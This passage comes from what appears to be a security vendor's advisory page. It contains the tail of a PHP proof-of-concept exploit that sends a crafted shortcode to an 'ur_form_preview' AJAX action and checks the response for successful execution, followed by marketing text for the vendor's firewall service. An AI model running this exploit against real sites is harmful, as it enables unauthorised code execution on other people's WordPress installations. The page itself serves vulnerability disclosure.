curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'ur_form_preview',
    'form_data' => $malicious_shortcode
]));

// Execute the exploit
$exploit_response = curl_exec($ch);

// Check response for successful shortcode execution
if ($exploit_response && strpos($exploit_response, 'VULNERABLE') !== false) {
    echo "Exploit successful! Shortcode executed.n";
    echo "Response preview: " . substr($exploit_response, 0, 500) . "n";
} else {
    echo "Exploit attempted. Response received.n";
    echo "Response length: " . strlen($exploit_response) . " bytesn";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School